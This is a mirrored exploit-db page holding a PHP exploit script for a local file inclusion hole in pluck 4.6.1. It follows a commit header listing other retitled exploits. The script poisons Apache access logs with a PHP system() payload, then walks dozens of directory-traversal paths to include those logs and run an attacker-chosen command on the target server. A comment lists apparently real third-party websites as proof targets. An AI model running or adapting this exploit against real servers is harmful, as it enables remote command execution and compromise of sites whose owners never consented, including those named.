mirror of
https://github.com/offensive-security/exploitdb.git
synced 2026-11-11 22:41:28 -10:00
Offensive Security
477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
164 lines
5.7 KiB
PHP
Executable File
164 lines
5.7 KiB
PHP
Executable File
<?php
|
|
|
|
/*
|
|
pluck v 4.6.1 LFI exploit
|
|
autor : Alfons Luja
|
|
Vuln is in \data\modules\blog\module_pages_site.php
|
|
|
|
...
|
|
|
|
$includepage = 'blog_include.php';
|
|
//Only set 'view post'-page if a post has been specified
|
|
if (isset($_GET['post'])) {
|
|
//Check if post exists, and include information
|
|
if (file_exists('data/settings/modules/blog/posts/'.$_GET['post'])) {
|
|
include('data/settings/modules/blog/posts/'.$_GET['post']);
|
|
$module_page['viewpost'] = $post_title;
|
|
}
|
|
}
|
|
...
|
|
|
|
Nothing to comment ;x
|
|
Greetings: For all friends and obvious for me ;D
|
|
|
|
pr00f:
|
|
http://www.kilgarvangaa.com//data/modules/blog/module_pages_site.php?post=../../../../../../../../../../bin/ls
|
|
http://www.southtrewlogcabins.co.uk/data/modules/blog/module_pages_site.php?post=../../../../../../../../../../bin/ls
|
|
http://www.seanhood.co.uk/data/modules/blog/module_pages_site.php?post=../../../../../../../../../../bin/ls
|
|
*/
|
|
|
|
|
|
if($argc < 4) die("Use host path command [www.penatgon.gov /pluck ls l]\n");
|
|
|
|
set_time_limit(0);
|
|
error_reporting(0);
|
|
|
|
$host = $argv[1];
|
|
$port = $argv[2];
|
|
$path = $argv[3];
|
|
$command = $argv[4];
|
|
|
|
//add something if not w00rking ;x
|
|
|
|
$shell = array(
|
|
"<?php echo(' e[Ho_trip ');system('$command');echo(' d34th_trip'); ?>",
|
|
"../apache/logs/access.log",
|
|
"../../apache/logs/access.log",
|
|
"../../../apache/logs/access.log",
|
|
"../../../../apache/logs/access.log",
|
|
"../../../../../apache/logs/access.log",
|
|
"../../../../../../apache/logs/access.log",
|
|
"../../../../../../../apache/logs/access.log",
|
|
"../../../../../../../../apache/logs/access.log",
|
|
"../../../../../../../../../apache/logs/access.log",
|
|
"../../../../../../../../../../apache/logs/access.log",
|
|
"../../../../../../../../../../../apache/logs/access.log",
|
|
"../var/log/httpd/access.log",
|
|
"../../var/log/httpd/access.log",
|
|
"../../../var/log/httpd/access.log",
|
|
"../../../../var/log/httpd/access.log",
|
|
"../../../../../var/log/httpd/access.log",
|
|
"../../../../../../var/log/httpd/access.log",
|
|
"../../../../../../../var/log/httpd/access.log",
|
|
"../../../../../../../../var/log/httpd/access.log",
|
|
"../../../../../../../../../var/log/httpd/access.log",
|
|
"../../../../../../../../../../var/log/httpd/access.log",
|
|
"../../../../../../../../../../../var/log/httpd/access.log",
|
|
"../var/log/apache/access.log",
|
|
"../../var/log/apache/access.log",
|
|
"../../../var/log/apache/access.log",
|
|
"../../../../var/log/apache/access.log",
|
|
"../../../../../var/log/apache/access.log",
|
|
"../../../../../../var/log/apache/access.log",
|
|
"../../../../../../../var/log/apache/access.log",
|
|
"../../../../../../../../var/log/apache/access.log",
|
|
"../../../../../../../../../var/log/apache/access.log",
|
|
"../../../../../../../../../../var/log/apache/access.log",
|
|
"../../../../../../../../../../../var/log/apache/access.log",
|
|
"../usr/local/apache2/logs/access.log",
|
|
"../../usr/local/apache2/logs/access.log",
|
|
"../../../usr/local/apache2/logs/access.log",
|
|
"../../../../usr/local/apache2/logs/access.log",
|
|
"../../../../../usr/local/apache2/logs/access.log",
|
|
"../../../../../../usr/local/apache2/logs/access.log",
|
|
"../../../../../../../usr/local/apache2/logs/access.log",
|
|
"../../../../../../../../usr/local/apache2/logs/access.log",
|
|
"../../../../../../../../../usr/local/apache2/logs/access.log",
|
|
"../../../../../../../../../../usr/local/apache2/logs/access.log",
|
|
"../../../../../../../../../../../usr/local/apache2/logs/access.log",
|
|
);
|
|
function _hdr($int){ //Mia³o nie byæ file_get_contents
|
|
|
|
global $shell,$host,$path;
|
|
$header .= "GET /$host/$path/$shell[$int] HTTP/1.1\r\n";
|
|
$header .= "Host: $host\r\n";
|
|
$header .= "User-Agent: _echo [ru] (Win6.66; @)\r\n";
|
|
$header .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
|
|
$header .= "Accept-Language: en-us,en;q=0.5\r\n";
|
|
$header .= "Accept-Encoding: gzip,deflate\r\n";
|
|
$header .= "Connection: close\r\n\r\n";
|
|
return $header;
|
|
|
|
|
|
}
|
|
|
|
|
|
function _inject($hosts,$ports){
|
|
|
|
$hnd = fsockopen($hosts,$ports,$errno, $errstr, 30);
|
|
if(!$hnd) die("Injection errr $errstr\n");
|
|
fwrite($hnd,_hdr(0));
|
|
fclose($hnd);
|
|
|
|
|
|
}
|
|
|
|
function _result($data){
|
|
|
|
$ret = explode(' e[Ho_trip ',$data);
|
|
if($ret[1] != ""){
|
|
for($i = 1;$i<count($ret);$i++){
|
|
$ret_2 = explode(' d34th_trip',$ret[$i]);
|
|
if($i - count($ret) == -1){
|
|
if($ret_2[0] != ""){
|
|
echo($ret_2[0]);
|
|
} else {
|
|
die("Exploit failed!!\n");
|
|
}
|
|
}
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
function _exploit($hosts,$paths){
|
|
|
|
global $shell;
|
|
$rets = "";
|
|
$count = count($shell);
|
|
|
|
for($i=1;$i<$count;$i++){
|
|
|
|
$tab = file_get_contents("http://".$hosts."/".$paths."/data/modules/blog/module_pages_site.php?post=$shell[$i]");
|
|
_result($tab);
|
|
|
|
}
|
|
|
|
|
|
}
|
|
echo("---- pluck v 4.6.1 -----\n\n".
|
|
"Autor: Alfons Luja\n".
|
|
"Target: $host\n".
|
|
"Path: $path\n".
|
|
"Port: $port\n".
|
|
"COM: $command\n".
|
|
"Ex: poc.php www.target.com 80 pluck \"dir\"\n\n");
|
|
|
|
_inject($host,$port);
|
|
_exploit($host,$path);
|
|
|
|
?>
|
|
|
|
# milw0rm.com [2009-03-23]
|